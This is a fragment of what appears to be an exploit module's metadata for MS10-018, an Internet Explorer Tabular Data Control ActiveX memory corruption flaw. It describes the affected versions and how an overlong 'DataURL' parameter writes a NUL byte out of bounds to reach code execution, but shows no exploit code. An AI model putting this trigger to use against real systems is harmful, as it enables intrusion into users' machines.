'Name' => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability in the Internet Explorer
Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
Explorer are vulnerable.
By specifying a long value as the "DataURL" parameter to this control, it is possible
to write a NUL byte outside the bounds of an array. By targeting control flow data
on the stack, an attacker can execute arbitrary code.
